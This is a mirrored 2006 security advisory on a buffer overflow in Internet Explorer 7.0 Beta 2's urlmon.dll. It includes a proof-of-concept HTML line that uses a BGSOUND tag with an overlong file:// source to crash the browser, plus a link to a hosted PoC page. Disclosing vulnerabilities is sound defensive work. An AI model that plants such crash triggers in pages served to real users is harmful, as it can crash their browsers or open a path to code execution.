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securityvulnsSecurityvulnsSECURITYVULNS:DOC:11307
HistoryFeb 05, 2006 - 12:00 a.m.

[NT] Internet Explorer 7.0 Beta 2 urlmon.dll Buffer Overflow

2006-02-0500:00:00
vulners.com
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Internet Explorer 7.0 Beta 2 urlmon.dll Buffer Overflow

SUMMARY

A buffer overflow within Internet Explorer 7 Beta 2 allows attackers to
execute arbitrary code or cause a DoS and crash the program.

DETAILS

Vulnerable Systems:

  • Internet Explorer version 7.0 Beta 2 (7.0.5296.0)

When running a specially crafted .html file, urlmon.dll inproperly parses
the 'BGSOUND SRC=file://—' (approx. 344 dashes) and causes the crash.

The following HTML code will trigger the crash:

<BGSOUND SRC=file://-----------------------------------------



---------------------------------------------------------------- >

Or access the following URL:
<http://www.security-protocols.com/poc/sp-x23.html&gt;
http://www.security-protocols.com/poc/sp-x23.html

ADDITIONAL INFORMATION

The information has been provided by
<mailto:[email protected]> Tom Ferris.
The original article can be found at:
<http://www.security-protocols.com/advisory/sp-x23-advisory.txt&gt;
http://www.security-protocols.com/advisory/sp-x23-advisory.txt
Tom Ferris blog about the vulnerability can be found at:
<http://security-protocols.com/modules.php?name=News&amp;file=article&amp;sid=3169&gt;
http://security-protocols.com/modules.php?name=News&amp;file=article&amp;sid=3169

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